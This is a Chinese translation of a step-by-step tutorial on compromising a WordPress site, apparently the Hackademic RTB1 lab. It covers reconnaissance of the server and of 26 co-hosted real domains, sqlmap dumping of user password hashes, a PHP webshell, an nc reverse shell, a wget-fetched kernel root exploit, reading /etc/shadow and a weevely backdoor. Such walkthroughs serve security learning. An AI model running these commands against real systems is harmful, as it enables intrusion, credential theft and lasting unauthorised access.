來自:華盟網
原文:http://resources.infosecinstitute.com/hacking-a-wordpress-site/
上篇文章《駭客如何攻破一個網站?圖文講解全流程》主要分享了網友對駭客攻擊標的網站進行 SEO 黑鏈處理的戰爭,本文將用圖文講解駭客攻破網站全流程。
PS:一篇科普文,很適合小白,長文請靜下心看。
透過本文你將瞭解駭客常用的入手思路和技術手法,適合熱愛網路資訊保安的新手朋友瞭解學習。本文將從最開始的資訊收集開始講述駭客是如何一步步的攻破你的網站和伺服器的。閱讀本文你會學到以下內容:
-
滲透測試前的簡單資訊收集。
-
sqlmap的使用
-
nmap的使用
-
nc反彈提權
-
linux系統的許可權提升
-
backtrack 5中滲透測試工具nikto和w3af的使用等
假設駭客要入侵的你的網站域名為:hack-test.com
讓我們用ping命令獲取網站伺服器的IP地址
現在我們獲取了網站伺服器的IP地址為:173.236.138.113
尋找同一伺服器上的其它網站,我們使用sameip.org.
26 sites hosted on IP Address 173.236.138.113
ID |
Domain |
Site Link |
1 |
hijackthisforum.com |
hijackthisforum.com |
2 |
sportforum.net |
sportforum.net |
3 |
freeonlinesudoku.net |
freeonlinesudoku.net |
4 |
cosplayhell.com |
cosplayhell.com |
5 |
videogamenews.org |
videogamenews.org |
6 |
gametour.com |
gametour.com |
7 |
qualitypetsitting.net |
qualitypetsitting.net |
8 |
brendanichols.com |
brendanichols.com |
9 |
8ez.com |
8ez.com |
10 |
hack-test.com |
hack-test.com |
11 |
kisax.com |
kisax.com |
12 |
paisans.com |
paisans.com |
13 |
mghz.com |
mghz.com |
14 |
debateful.com |
debateful.com |
15 |
jazzygoodtimes.com |
jazzygoodtimes.com |
16 |
fruny.com |
fruny.com |
17 |
vbum.com |
vbum.com |
18 |
wuckie.com |
wuckie.com |
19 |
force5inc.com |
force5inc.com |
20 |
virushero.com |
virushero.com |
21 |
twincitiesbusinesspeernetwork.com |
twincitiesbusinesspeernetwork.com |
22 |
jennieko.com |
jennieko.com |
23 |
davereedy.com |
davereedy.com |
24 |
joygarrido.com |
joygarrido.com |
25 |
prismapp.com |
prismapp.com |
26 |
utiligolf.com |
utiligolf.com |
173.236.138.113上有26個網站,很多駭客為了攻破你的網站可能會檢查同伺服器上的其它網站,但是本次是以研究為標的,我們將拋開伺服器上的其它網站,只針對你的網站來進行入侵檢測。
我們需要關於你網站的以下資訊:
-
DNS records (A, NS, TXT, MX and SOA)
-
Web Server Type (Apache, IIS, Tomcat)
-
Registrar (the company that owns your domain)
-
Your name, address, email and phone
-
Scripts that your site uses (php, asp, asp.net, jsp, cfm)
-
Your server OS (Unix,Linux,Windows,Solaris)
-
Your server open ports to internet (80, 443, 21, etc.)
讓我們開始找你網站的DNS記錄,我們用who.is來完成這一標的.
我們發現你的DNS記錄如下
讓我們來確定web伺服器的型別
發現你的Web伺服器是apache,接下來確定它的版本.
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3Month: 3.7
接下來是時候尋找你網站域名的註冊資訊,你的電話、郵箱、地址等.
我們現在已經獲取了你的網站域名的註冊資訊,包括你的重要資訊等.
我們可以透過backtrack5中的whatweb來獲取你的網站伺服器作業系統型別和伺服器的版本.
我們發現你的網站使用了著名的php整站程式wordpress,伺服器的的系統型別為FedoraLinux,Web伺服器版本Apache 2.2.15.繼續檢視網站伺服器開放的埠,用滲透測試工具nmap:
1-Find services that run on server(檢視伺服器上執行的服務)
2-Find server OS(檢視作業系統版本)
只有80埠是開放的,作業系統是Linux2.6.22(Fedora Core 6),現在我們已經收集了所有關於你網站的重要資訊,接下來開始掃描尋找漏洞,比如:
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等.
我們將使用Nikto來收集漏洞資訊:
root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com
我們也會用到Backtrack 5 R1中的W3AF 工具:
root@bt:/pentest/web/w3af#./w3af_gui
我們輸入要檢測的網站地址,選擇完整的安全審計選項.
稍等一會,你將會看到掃描結果.
發現你的網站存在sql註入漏洞、XSS漏洞、以及其它的漏洞.讓我們來探討SQL註入漏洞.
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
我們透過工具發現這個URL存在SQL註入,我們透過Sqlmap來檢測這個url.
Using sqlmap with –u url
過一會你會看到
輸入N按回車鍵繼續
我們發現你的網站存在mysql顯錯註入,mysql資料庫版本是5.0. 我們透過加入引數”-dbs”來嘗試採集資料庫名.
發現三個資料庫,接下來透過引數”-D wordpress -tables”來檢視wordpress資料庫的所有表名
透過引數“-T wp_users –columns ”來檢視wp_users表中的欄位.
接下來猜解欄位user_login和user_pass的值.用引數”-C user_login,user_pass–dump”
我們會發現使用者名稱和密碼hashes值. 我們需要透過以下線上破解網站來破解密碼hashes
http://www.onlinehashcrack.com/free-hash-reverse.php
登陸wordpress的後臺wp-admin
嘗試上傳php webshell到伺服器,以方便執行一些linux命令.在外掛頁面尋找任何可以編輯的外掛.我們選擇Textile這款外掛,編輯插入我們的php webshell,點選更新檔案,然後訪問我們的phpwebshell.
Phpwebshell被解析了,我們可以控制你網站的檔案,但是我們只希望獲得網站伺服器的root許可權,來入侵伺服器上其它的網站。
我們用NC來反彈一個shell,首先在我們的電腦上監聽5555埠.
然後在Php webshell上反向連線我們的電腦,輸入你的IP和埠5555.
點選連線我們會看到
接下來我們嘗試執行一些命令:
id
uid=48(apache) gid=489(apache) groups=489(apache)
(用來顯示使用者的id和組)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
(顯示伺服器上當前的路徑)
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux
(顯示核心版本資訊)
現在我們知道,伺服器的核心版本是2.6.31.5-127.fc12.1686,我們在exploit-db.com中搜索此版本的相關漏洞.
在伺服器上測試了很多exp之後,我們用以下的exp來提升許可權.
http://www.exploit-db.com/exploits/15285
我們在nc shell上執行以下命令:
wgethttp://www.exploit-db.com/exploits/15285 -o roro.c
(下載exp到伺服器並重新命名為roro.c)
註:很多linux內核的exp都是C語言開發的,因此我們儲存為.c副檔名.
exp roro.c程式碼如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.”);
exit(-1);
}
memset(&addr;, 0, sizeof(addr));
透過以上程式碼我們發現該exp是C語言開發的,我們需要將他編譯成elf格式的,命令如下:
gcc roro.c –ororo
接下來執行編譯好的exp
./roro
執行完成之後我們輸入id命令
id
我們發現我們已經是root許可權了
uid=0(root) gid=0(root)
現在我們可以檢視/etc/shadow檔案
cat/etc/shadow
我們可以使用”john theripper”工具破解所有使用者的密碼.但是我們不會這樣做,我們需要在這個伺服器上留下後門以方便我們在任何時候訪問它.
我們用weevely製作一個php小馬上傳到伺服器上.
1.weevely使用選項
root@bt:/pentest/backdoors/web/weevely#./main.py –
2.用weevely建立一個密碼為koko的php後門
root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko
接下來上傳到伺服器之後來使用它
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko
測試我們的hax.php後門
完成,撒花!
●本文編號572,以後想閱讀這篇文章直接輸入572即可
●輸入m獲取文章目錄
大資料與人工智慧
更多推薦《18個技術類公眾微信》
涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。